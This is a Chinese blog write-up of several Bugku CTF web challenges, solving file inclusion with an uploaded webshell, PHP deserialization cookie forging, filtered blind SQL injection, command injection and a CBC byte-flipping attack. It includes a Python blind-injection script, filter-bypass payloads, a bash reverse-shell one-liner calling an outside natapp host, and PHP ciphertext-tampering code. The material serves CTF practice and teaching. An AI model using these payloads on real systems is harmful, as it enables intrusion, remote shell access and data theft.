这里是Bugku的CTF题目(主流情况下我一般都只会玩攻防世界的,难度稍微大一些,我之前的笔记分类有详细分成基础篇和高手篇写了writeup,感兴趣的可以去看看)
所用环境以及做题思路只在当时写下writeup时适用,若之后做出改动可与我联系,做出相应更改。
作者:李世荣
转载请标明出处。
37.web34

题目提示:文件包含
截屏2021-05-01 下午2.04.28.png
index.php?file=hello.php
那我们的重心就在上面,这个payload怎么写。
截屏2021-05-01 下午2.13.38.png
截屏2021-05-01 下午2.19.21.png
这里有文件包含与文件上传两个漏洞的话,岂不是可以直接上传图片马然后解析?
截屏2021-05-01 下午2.29.51.png
先写好上传,但是发现好像不太行,那我们换一个一句话
截屏2021-05-01 下午2.34.51.png
截屏2021-05-01 下午2.40.32.png
成功绕过,菜刀连接
截屏2021-05-01 下午2.42.25.png
截屏2021-05-01 下午2.44.26.png
截屏2021-05-01 下午2.45.56.png
flag在根目录下面,直接设置pyload:index.php?file=/flag
38.web35

描述:点了login咋没反应
截屏2021-05-01 下午3.11.20.png
尝试输入账号密码,点击login却什么反应也没有,查看源码也什么没有,那么我们就尝试一下发起一次请求,看看响应是什么吧。
截屏2021-05-02 上午9.57.36.png
在admin.css里发现了端倪,这个try ?23897是什么,试着传参了一下,看到了代码,看来思路是对的。
截屏2021-05-02 上午9.58.51.png
截屏2021-05-02 上午10.04.15.png
查阅代码,unserialize映入眼帘。这就是反序列化函数,说明这题考的是无类的php反序列化。(问:有类是什么样子? 答:代码中存在class)
unserialize($cookie) === “$KEY” 两边序列化即有$cookie = serialize("$KEY")
接下来我们编写个序列化脚本
截屏2021-05-02 上午10.12.54.png
用Burp Suite工具抓包发送给Repeater在Requests Headers里添加cookie=BUGKU=s:13:"ctf.bugku.com";
截屏2021-05-02 上午10.19.42.png
39.web36

题目提示:!,!=,=,+,-,^,% 全部都过滤了绝望吗。
截屏2021-05-02 上午10.23.14.png
截屏2021-05-02 上午10.38.38.png
习惯性的扫描了一下后台,发现了/index.php和/login.php,分别访问了一下,最后停在了/index.php,是一个登陆界面。
进去是个登录界面,稍微按了按导航栏没什么用,猜测是注入!
输入用户admin密码任意,显示password错误
输入用户admin'密码任意,显示username错误
输入用户admin'#密码任意,发现给检测到入侵,那#用不了,试了试-和+也被过滤了
直接上盲注脚本吧。
截屏2021-05-02 上午10.53.40.png
别说,还挺壮观的,将得到密文反复解密,看看最终能得到什么。(这波忙猜是md5)
截屏2021-05-02 上午11.03.12.png
账号:admin 密码:bugkuctf登陆,得到了下面的界面
截屏2021-05-02 上午11.04.20.png
来到一个web的命令执行界面,使用ls看到网站目录下并没有flag
使用ls /发现给检测到,试试单输入空格,发现空格给过滤,在linux里面有很多方式可以代替空格

cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
尝试输入cat${IFS}/flag发现也给检测了,测试后才知道IFS字样也给过滤了,那我们用cat</flag,就能成功拿到flag。
截屏2021-05-02 上午11.08.01.png
40.web37

提示:hint:union,命令执行 描述: 命令执行
截屏2021-05-03 上午10.57.09.png
这道题目直接给了一个登陆界面,猜测有注入漏洞,先输入123,,123抓包看看
截屏2021-05-03 上午11.02.10.png
用repeater发送后看到有个tip 是一串base64加密的字符,解密后明文:
截屏2021-05-03 上午11.04.06.png
审计后发现可以构造一个不存在的用户进行登录,查询的密码要和md5加密后的一致,构造payload:
username=admin' union select 1,md5(123)#&password=123
截屏2021-05-03 上午11.11.32.png
登录成功后看到一个命令执行界面,尝试ls:
截屏2021-05-03 上午11.13.30.png
第一种解法:输入123,回显如下:
截屏2021-05-03 上午11.16.22.png
尝试用”|”来绕过
输入:123|ls没有回显
采用写入文件二次返回的方法查看结果
123|ls ../../../>test
但是依然没有回显

回到起点,输入1试试看:
截屏2021-05-03 上午11.23.21.png
可以看到在最下面有grep命令,再想到hint的命令执行,故可以直接来查询flag,一步步尝试:
先输入ls
可以看到并没有执行命令,那应该是后台进行了过滤,或者有什么符号进行了合并,上面我们用|进行绕过:输入1|ls发现也是不行的。
但是应该是绕过了检测的,就试试像sql二次注入的方式:二次写文件读取:
1|ls ../../../../>res
将根目录下的文件写入到res文件中
访问res即可得到flag
截屏2021-05-03 上午11.32.25.png
大佬的wp,学到了另一种方法:即反弹shell的方式:
前提是得有外网ip,大家可以去试试,一个月的公网ip也不是特别贵,我这里已经有了,所以就直接演示了:
我外网ip映射到本地的端口为80,所以在kali里打开监听这个80端口:
nc -lvp 80
截屏2021-05-03 上午11.35.25.png
然后再构造bash交互,我这里是:
1|bash -i >& /dev/tcp/03a1ea6816d56464.natapp.cc/5200 0>&1
然后就点击检测按钮
可以看到上面的是一直在转圈,这时我们去kali里看看监听的结果
截屏2021-05-03 上午11.36.40.png
可以看到,已经监听成功,最后直接cat /flag即可拿到flag了
截屏2021-05-03 上午11.37.13.png

41.web38

提  示: 基于布尔的SQL盲注
描  述: sql注入
截屏2021-05-03 下午3.25.36.png
根据提示,布尔盲注。
但测试后发现and被过滤,只能使用异或^
空格也被过滤
逗号被过滤,使用mid((password)from(1)for(1))代替mid((password),1,1)
等号被过滤,使用不等号<>
for被过滤,使用ascii取字符串第一个字符转换为ascii码
构造如下
username=admin'^(ascii(mid((password)from(1)))<>ascii('b'))#&password=123
sql语句中在运算时会将字符串转换为0,
注入后,sql语句变为
where username=‘admin'^(ascii(mid((password)from(1)))<>ascii('b'))#
当后面语句为真时,0^1=1,语句相当于
where username=1,因为username全为字符串,不可能等于1,所以会查找失败,显示username no exist
当后面语句为假时,0^0=0,语句相当于
where username=0,因为username都为字符串,比较会恒成立,所以会查找成功,显示password error
使用burpsuite的intruder功能爆破
截屏2021-05-03 下午3.37.29.png
可能是字典设置的不合适,爆破了许久都没有出结果,尝试换一个思路。
用Burp Suite抓包一下。发送到Repeater
截屏2021-05-03 下午3.41.45.png
截屏2021-05-03 下午3.42.16.png
随便输入一些字符串,测试一下回显。
我们可以发现
当我们随便输入一个用户名“lsr”时, 回显用户名不存在,但并没有对密码进行检验。
当我们输入用户名“admin”时,回显密码错误,则说明 是先查找匹配用户名,如果存在,再验证密码。
试试在用户名admin后加上单引号
结果还是显示用户名不存在,但是并没有报错信息...........
那么,我们猜测后台的验证应该是先查找输入的用户名是否存在
语句大体是这样
select password,username from users where username="我们输入的用户名"
如果我们在where语句的结尾加上一个and连接的布尔判断语句,就可以根据返回值判断where条件是否成立,这个语句就可以补成:
where username=’admin’ and (substring(database(),1,1)=’a’)
如果返回值是password error,那么就说明where语句是成立的,那么我们补充的那就也是成立的,那么就可以确定数据库的第一位是a,然后再猜测第二位。
显示非法字符.......
可能是过滤了and....
继续测试发现....还过滤了空格,逗号,等号,for
空格用括号代替,等号用<>(一种不等号)代替
最后发现了异或运算^
先说一下异或运算的基本规则:
1^1=0 1^0=1 0^0=0
即 只有两个不同的布尔值运算结果为1
先给出脚本
截屏2021-05-03 下午3.50.03.png
开始跑脚本:
截屏2021-05-03 下午4.06.11.png
跑出来像是md5,解密一下,是:bugkuctf
用户名:admin
密码:bugkuctf
截屏2021-05-03 下午4.09.01.png
注:
解释一下payload:

"admin'^(ascii(mid(database()from({})))<>{})^0#"

1.为了绕过空格过滤,用括号隔开,过滤了等号,用不等号 <>代替,只要是布尔值就可以。
2.mid()函数和substring()一样,一种写法是mid(xxx,1,1),另一种是mid(xxx,from 1 for 1)但是这里过滤了for和逗号,那么怎么办呢?
因此,这里用到了ascii()取ascii码值的函数,如果传入一个字符串那么就会取第一个字符的字符的ascii码值,这就有了for的作用,并且mid()函数是可以只写from的表示从第几位往后的字符串,我们将取出的字符串在传入ascii()中取第一位,就完成了对单个字符的提取。
3.每个字符的ascii码判断,是否不等于给定的数字,会得到一个布尔值(0或1)再与结尾的0进行运算。
如果数据库名的第一位的ascii码值不是97,where条件是username=’admin’^1^0
返回值是username does not exist!
如果数据库名的第一位的ascii码值是97,where条件是username=’admin’^0^0
返回值会是password error!
这就构成了布尔报错注入。

  1. 最后^0的妙用! 因为’admin’^0^0和’admin’^1^1是一样的,我们可以构造后者来看前者成立时的情况。 因为这里即使是语法错误也不会报错,有可能你输入的语句就不可能成立,但你也无法知道。
    另一份大佬的writeup:

1 fuzz
可以看到过滤了空格和* union等但是(没过滤bool注入
[‘select’, ‘concat’, ‘show’, ‘databases’, ‘tables’, ‘flag’, ‘or’, ‘sleep’, ‘from’, ‘limit’, ‘group’, ‘by’, ‘prepare’, ‘as’, ‘if’, ‘char’, ‘ascii’, ‘mid’, ‘left’, ‘right’, ‘substring’, ‘updatexml’, ‘extractvalue’, ‘benchmark’, ‘insert’, ‘update’, ‘all’, ‘@’, ‘#’, ‘^’, ‘&’, “’”, ‘"’, ‘~’, ‘(’, ‘)’, ‘–’, ‘>’, ‘<’, ‘if’, ‘/’, ‘’]

2 payload
username=%27or(1)%23&password=
返回password error,证明存在bool注入

3 exp

import requests

ans = ''
for i in range(33):

for j in '0123456789abcdefghijklmnopqrstuvwxyz':
    data={
        # 'username':"'or(1)#",
        # 'username':"'or(ascii(substr((select(database()))from({})))<>({}))#".format(i,ord(j)),
        'username':"'or(ascii(substr((select(password))from({})))<>({}))#".format(i,ord(j)),
        'password':'123'
    }
    res = requests.post('http://114.67.246.176:18085/index.php',data)
    # print(res.text)
    if 'username does not exist!' in res.text:
        ans+=j
        print(ans)

小技巧:
substr(user(),1,1)
等价于
substr(user() from 1 for 1) 可以绕过逗号

=号被过滤用<>不等号
Info也被过滤了不能用Information_schema了

4 爆库
'username':"'or(ascii(substr((database())from({})))<>({}))#".format(i,ord(j)),

'or(ascii(substr((select(password)from(admin))from({})))<>({}))#
42.web39

提  示: CBC字节翻转攻击
描  述: flag{}
截屏2021-05-03 下午5.12.30.png
打开环境,发现又是一个登陆界面,那我们就看看题目提示。
来一波日常目录扫描
Dirmap一共扫到了四个网站。
我们用cansina也试试看
截屏2021-05-03 下午5.42.09.png
下载该文件,使用vim -r .index.php.swp打开审计源码。已经手动在代码里添加了注释

<?php
define("SECRET_KEY", file_get_contents('/root/key'));
define("METHOD", "aes-128-cbc");
session_start();

function get_random_iv(){ //随机生成16位初始化向量

$random_iv='';
for($i=0;$i<16;$i++){
    $random_iv.=chr(rand(1,255));
}
return $random_iv;

}

第一个执行的方法

function login($info){

$iv = get_random_iv();
$plain = serialize($info);    //明文序列化
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);    //加密
//options:以下标记的按位或: OPENSSL_RAW_DATA 原生数据,对应数字1,不进行 base64 编码。OPENSSL_ZERO_PADDING 数据进行 base64 编码再返回,对应数字0。
$_SESSION['username'] = $info['username'];    //注册SESSION全局变量
//以下两行设置cookie
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));

}

function check_login(){

if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
    $cipher = base64_decode($_COOKIE['cipher']);
    $iv = base64_decode($_COOKIE["iv"]);
    if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
        $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
        $_SESSION['username'] = $info['username'];
    }else{
        die("ERROR!");
    }
}

}

第二个执行,检测用户名为admin时,打印flag

function show_homepage(){

if ($_SESSION["username"]==='admin'){
    echo '<p>Hello admin</p>';
    echo '<p>Flag is $flag</p>';
}else{
    echo '<p>hello '.$_SESSION['username'].'</p>';
    echo '<p>Only admin can see flag</p>';
}
echo '<p><a href="loginout.php">Log out</a></p>';

}

if(isset($_POST['username']) && isset($_POST['password'])){

$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
if($username === 'admin'){
    exit('<p>admin are not allowed to login</p>');
}else{
    $info = array('username'=>$username,'password'=>$password);
    login($info);
    show_homepage();
}

}else{

if(isset($_SESSION["username"])){
    check_login();
    show_homepage();
}else{
    echo '<body class="login-body">
            <div id="wrapper">
                <div class="user-icon"></div>
                <div class="pass-icon"></div>
                <form name="login-form" class="login-form" action="" method="post">
                    <div class="header">
                    <h1>Login Form</h1>
                    <span>Fill out the form below to login to my super awesome imaginary control panel.</span>
                    </div>
                    <div class="content">
                    <input name="username" type="text" class="input username" value="Username" onfocus="this.value=\'\'" />
                    <input name="password" type="password" class="input password" value="Password" onfocus="this.value=\'\'" />
                    </div>

源码审计

审计源码首先要找到程序起点,跟着程序走一遍,了解流程。
程序起点在这个if里:
20190111160712851.png
我们以else为分割符,先看上面一段的代码。
程序接收到POST参数(username,password),并且禁止admin登陆。当用户名不是admin的时候,首先把用户名密码放入数组,传到login方法中。
login方法对传入的数组进行了序列化,并且使用aes-128-cbc对序列化进行加密。iv(初始化向量)是随机生成的。最终把cipher和iv放入cookie。
截屏2021-05-03 下午8.17.59.png
再到show_homepage()方法,检测$_SESSION中的username是admin时,打印flag。否则提示Only admin can see flag
截屏2021-05-03 下午8.18.39.png
然后审计else的下半部分,这里是上半部分操作执行过后,存在$_SESSION[‘username’]时执行。当不存在POST数据或者$_SESSION[‘username’]时,显示登陆页面。
有$_SESSION[‘username’]时,进入check_login()方法。
当cookie中存在cipher、iv时,对cipher进行解密。这里是解题的关键,可以通过修改cookie中的cipher值,将序列化数据的用户名修改成admin。从而绕过程序起点处禁止admin登陆的判断。
截屏2021-05-03 下午8.19.17.png
最后执行到show_homepage()方法,当我们在check_login()中把用户名修改为admin时,这里输出flag。
解题:
访问题目页面,使用用户名admil,密码123登陆。页面提示内容与审计的结果一致。此时程序已经执行了login()方法,在cookie中写入了cipher和iv。
使用burp抓包,刷新页面,内容如下:
通过上面审计源码可知,需要把post数据删掉,才能进入check_login()方法判断当前用户名。
截屏2021-05-03 下午8.21.53.png
通过最开始列出的“CBC字节翻转攻击原理”文章,这里需要修改cipher和iv的值来实现变更用户名。
基本原理(强塞内容):
截屏2021-05-03 下午8.23.24.png

这里讲下为什么能把admil修改成admin
根据上图,我们可以知道CBC解密过程:


密文1=>解密密文1=>解密密文1 XOR 初始化向量(iv) = 明文1
密文2=>解密密文2=>解密密文2 XOR 密文1 = 明文2
密文3=>解密密文3=>解密密文3 XOR 密文2 = 明文3
以此类推,除了第一次,后面所以数据解密后都需要跟上一个密文进行异或得到明文。
从上面的解密过程可以推断出,当我们修改前一个密文的第N个字节时,会影响到后一个密文解密出来的明文的第N个字节。
例如:当我们修改密文1的第6个字节时,密文2解密时,解密后的密文2跟密文1进行异或操作,明文2的第6个字节也会受到影响。
异或特性:
解密得出明文的步骤使用了异或运算,而异或运算有个特性,是可以自定义异或结果的。
这里的讲解借用到大佬文章的讲解思路。
假设:A ^ B = C,则可得
B = A ^ C
当人为修改A=A ^ C时,
A ^ B = A ^ C ^ B = B ^ B = 0
当人为修改A=A ^ C ^ x (x为任意数值)时,
A ^ B = A ^ C ^ x ^ B = B ^ B ^ x = x
举例:
密文1[4]的意思是密文1字符串第4个字节,相当于数组下标。
设:密文1[4] = A,解密(密文2)[4] = B,明文2[4] = C
因为A ^ B = C,根据结论有B = A ^ C
当人为修改A=A ^ C时,那么A ^ B = A ^ C ^ B = B ^ B = 0,这样明文2[4]的结果就为0了
当人为修改A=A ^ C ^ x (x为任意数值)时,那么
A ^ B = A ^ C ^ x ^ B = B ^ B ^ x = x,这是明文2[4] = x,这样就达到了控制明文某个字节的目的了。
编程:
根据上面的推论,就可以开始写程序修改cipher和iv来控制用户名了。

截屏2021-05-03 下午8.25.14.png
执行结果:
截屏2021-05-03 下午8.25.37.png
当我们在Burp Suite将计算后的cipher替换发送后,发现提示错误。
这是因为我们修改了密文1中的数据,使第一次解密出的明文数据错乱,打乱了序列化数据的格式,反序列化失败。
但是当我们把返回的base64数据解码后,可以发现我们的username已经修改成admin了。
...
之间出现了很多次错,没能实现,现在又开了一个环境,重新来一遍。
...
截屏2021-05-03 下午8.41.01.png
截屏2021-05-03 下午8.44.05.png
v的值是随机变化的,即使同一个用户名,多次发送POST数据,也会改变iv,所以提交一次POST后就一次完成,否则就从头再来
序列化内容分组,16个一组
a:2:{s:8:"username";s:5:"ddmin";s:8:"password";s:3:"123”;}
我们想要改的d->a在第二组的9位(从0开始),那我们要改第一组的第9位。
<?php
$enc=base64_decode("wcj5C0sDD3hBduHkKhFN%2FlYyWtwSUtTbMvCNLIzQESHlZQALF%2F1M5lMIU3atTVIznl%2F1U8whHODSSBFL5EGOZQ%3D%3D");
$enc[9] = chr(ord($enc[9]) ^ ord("d") ^ ord ("a"));
echo base64_encode($enc);
?>

  • / = 要url编码(%2b、%2F、%3D
    (enc只要%2F之前的其实就够
最后修改:2021 年 09 月 13 日 09 : 30 PM
如果觉得这篇文章不错,不妨赏我碎银几两。